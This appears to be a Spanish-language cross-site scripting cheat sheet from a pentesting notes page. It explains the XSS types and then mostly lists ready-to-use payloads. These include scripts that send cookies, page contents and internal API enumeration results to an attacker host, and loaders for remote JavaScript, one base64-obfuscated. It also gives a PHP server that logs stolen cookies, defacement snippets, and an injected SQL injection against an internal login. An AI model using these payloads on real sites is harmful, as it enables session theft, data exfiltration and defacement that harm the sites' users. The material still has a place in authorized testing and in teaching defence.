Cross-site scripting (XSS)
Reflected server XSS (Non-Persistent)
Ocurre cuando la entrada del usuario se muestra en la página después de ser procesada por el servidor (back-end), pero sin ser almacenada.
Se encuentra a menudo donde la entrada del usuario se envía a través de parámetros GET, por ejemplo, una opción de búsqueda que refleje la palabra buscada. Para explotarlo, normalmente se envía un enlace a un usuario con el payload. Dado que el usuario confía en el dominio, posiblemente hará clic en el enlace, el servidor agregará nuestro payload y el navegador del usuario lo ejecutará.
Es posible que los parámetros POST también den como resultado un "reflected server XSS (Non-Persistent)". Sin embargo, no podríamos explotarlo enviado un enlace a un usuario. En su lugar, tendríamos que enviar al usuario a un sitio web que controlamos y tener un formulario que haga un POST automáticamente cuando el usuario ingrese al sitio web.
Stored server XSS (Persistent)
Ocurre cuando la entrada del usuario se almacena en la base de datos (back-end) y luego se muestra al recuperarla. Por ejemplo, publicaciones o comentarios.
Esto hace que este tipo de XSS sea el más crítico, ya que afecta a una audiencia mucho más amplia. Cualquier usuario que visite la página sería víctima de este ataque. Además, es posible que "stored server XSS (Persistent)" no se pueda quitar fácilmente y que sea necesario eliminar el payload de la base de datos (back-end).
Reflected client XSS (Non-Persistent / DOM based)
Ocurre cuando la entrada del usuario se muestra en la página y esta es procesada por completo en el lado del cliente (JavaScript), pero sin ser almacenada.
Se encuentra a menudo donde la entrada del usuario se envía a través de parámetros GET, por ejemplo, una opción de búsqueda que refleje la palabra buscada y que esta sea asignada a un elemento HTML desde JavaScript.
http://<target>/?search=<img src='noexiste' onerror='alert(0)'>
const urlSearchParams = new URLSearchParams(window.location.search);
const params = Object.fromEntries(urlSearchParams.entries());
document.getElementById("search").innerHTML = params.search
Stored client XSS (Persistent / DOM based)
Ocurre cuando la entrada del usuario se almacena en la base de datos (back-end) y esta es procesada por completo en el lado del cliente (JavaScript) cuando se muestra en la página luego de recuperarla. Por ejemplo, publicaciones o comentarios que son obtenidos desde una base de datos y son asignados a elementos HTML desde JavaScript.
Blind XSS
Payloads de identificación general de "blind XSS".
<script src=http://attacker-IP-address></script>
'><script src=http://attacker-IP-address></script>
"><script src=http://attacker-IP-address></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://attacker-IP-address\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//attacker-IP-address");a.send();</script>
<script>$.getScript("http://attacker-IP-address")</script>
Ejemplo de identificación de campo vulnerable a "blind XSS".
mkdir /tmp/phpserver
cd /tmp/phpserver
php -S 0.0.0.0:80
<script src=http://attacker-IP-address/name></script>
<script src=http://attacker-IP-address/lastname></script>
<script src=http://attacker-IP-address/address></script>
Payloads
General
<script>alert(0)</script>
<script>alert('XSS');</script>
<img src="noexiste" onerror=alert(document.cookie)>
<img src="noexiste" onerror=document.write(document.cookie)>
<script>alert(window.origin)</script>
<img src="" onerror=alert(window.origin)>
<plaintext>
<script>print()</script>
# WebSocket
<img src="noexiste" onerror=socket.send(document.cookie)>
Stealing session cookies
Acceso a cookies desde JavaScript (HttpOnly no establecido).
<script>alert(document.cookie);</script>
Envía cookies a web del atacante.
<script>new Image().src='http://web-atacante.com/xss.php?cookie='+document.cookie</script>
<script>fetch(`http://web-atacante.com/xss.php?cookie=${btoa(document.cookie)}`)</script>
<script>fetch('http://web-atacante.com', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<img src="noexiste" onerror="fetch('http://web-atacante.com/\?cookie=' + encodeURIComponent(document.cookie))">
<script>var xhr=new XMLHttpRequest();xhr.open('GET','http://web-atacante.com/\?cookie='+encodeURIComponent(document.cookie),true);xhr.send();</script>
<script>var xhr=new XMLHttpRequest();xhr.open('POST','http://web-atacante.com/',true);xhr.send('cookie='+encodeURIComponent(document.cookie));</script>
Registro de cookies en servidor del atacante.
<?php
// php -S 0.0.0.0:80
// tail -f steal-secrets.txt
if (isset($_GET['cookie'])) {
$list = explode(";", $_GET['cookie']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("steal-secrets.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookies: {$cookie}\n");
fclose($file);
}
}
?>
Guarda cookies ocultas dentro del HTML de la página web.
<div style="display: none;">
<img src="noexiste" onerror=
"document.getElementById('form').onsubmit=function () {
var hidden='<span style=\'display:none;\'>
'+document.cookie+'</span>';
document.getElementById('mensaje').value+=hidden;}"/>
</div>
Stealing local secrets
Existen dos tipos de almacenamiento de datos en el navegador disponibles localStorage
y sessionStorage
, su diferencia radica en el nivel de persistencia de los datos. Al utilizar localStorage
los datos se conservan hasta que se eliminen explícitamente, mientras que al utilizar sessionStorage
los datos se conservan hasta que se cierre la pestaña. Se puede acceder a los datos de localStorage
usando la propiedad window.localStorage
, mientras que se puede acceder a sessionStorage
con la propiedad window.sessionStorage
.
Stealing saved passwords
Keylogger
Phishing
Defacement
<script>document.title="Defacement"</script>
<script>document.getElementsByTagName('body')[0].innerHTML='Defacement'</script>
<script>document.getElementById("id").innerHTML = "Defacement";</script>
<img src="noexiste" onerror="document.title='Defacement';" />
<script>document.body.style.background="#ff0000"</script>
<script>document.body.background="https://example.com/image.png"</script>
<script>
var tagHeader = document.getElementsByTagName('header')[0];
var tagH1 = tagHeader.getElementsByTagName('h1');
for(var i=0; i<tagH1.length; i++) {
var tagH1item = tagH1[i];
tagH1item.innerHTML='Defacement';
}
</script>
Identificación de funcionalidades internas (análisis HTML de la aplicación)
try {
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://<target>/index.php", false);
xhr.withCredentials = true;
xhr.send();
var res = xhr.responseText;
} catch (error) {
var res = error;
}
var exfil = new XMLHttpRequest();
exfil.open("POST", "http://web-atacante.com/", false);
exfil.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "exfil=" + encodeURIComponent(btoa(res));
exfil.send(data);
Enumeración de API internas
var endpoints = ["account","accounts","credentials","creds","customer","customers","member","members","pass","password","passwords","profile","profiles","setting","settings","user","username","users"];
for (i in endpoints){
try {
var xhr = new XMLHttpRequest();
xhr.open("GET", `http://<target>/v1/${endpoints[i]}`, false);
xhr.send();
if (xhr.status != 404) {
var exfil = new XMLHttpRequest();
exfil.open("GET", "http://web-atacante.com/?exfil=" + btoa(endpoints[i]), false);
exfil.send();
}
} catch {
}
}
SQL injection en login interno
try {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://<target>/login.php", false);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = `username=${encodeURIComponent("' OR '1'='1' -- -")}&password=x`;
xhr.send(data);
var res = xhr.responseText;
} catch (error) {
var res = error;
}
var exfil = new XMLHttpRequest();
exfil.open("POST", "http://web-atacante.com/", false);
exfil.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "exfil=" + encodeURIComponent(btoa(res));
exfil.send(data);
POST request
fetch('http://<target>/',{
method: 'POST',
mode: 'same-origin',
credentials: 'same-origin',
headers: {
'Content-Type':'application/x-www-form-urlencoded'
},
body:'param=value1¶m2=value2¶m3=value3'
})
Ejecución de payload desde recurso externo
Creación de archivo JavaScript con payload a ejecutar.
alert(0)
Habilitación de servidor HTTP para compartir el archivo xss.js
.
php -S 0.0.0.0:80
Payloads para cargar JavaScript desde recurso externo.
<script src="http://<attacker-IP-address>/xss.js"></script>
<img src="x" onerror="s=document.createElement('script');s.src='http://<attacker-IP-address>/xss.js';document.body.appendChild(s);">
Payload utilizando jQuery para cargar JavaScript desde recurso externo.
jQuery.getScript('http://<attacker-IP-address>/xss.js')
echo -n "jQuery.getScript('<attacker-IP-address>/xss.js')" | base64
'+eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnPGF0dGFja2VyLUlQLWFkZHJlc3M+L3hzcy5qcycp'))+'
'+btoa(eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnPGF0dGFja2VyLUlQLWFkZHJlc3M+L3hzcy5qcycp')))+'
PortSwigger
Payload Box
Payloads All The Things
Herramientas
XSS Hunter
Truffle Security
Última actualización
¿Te fue útil?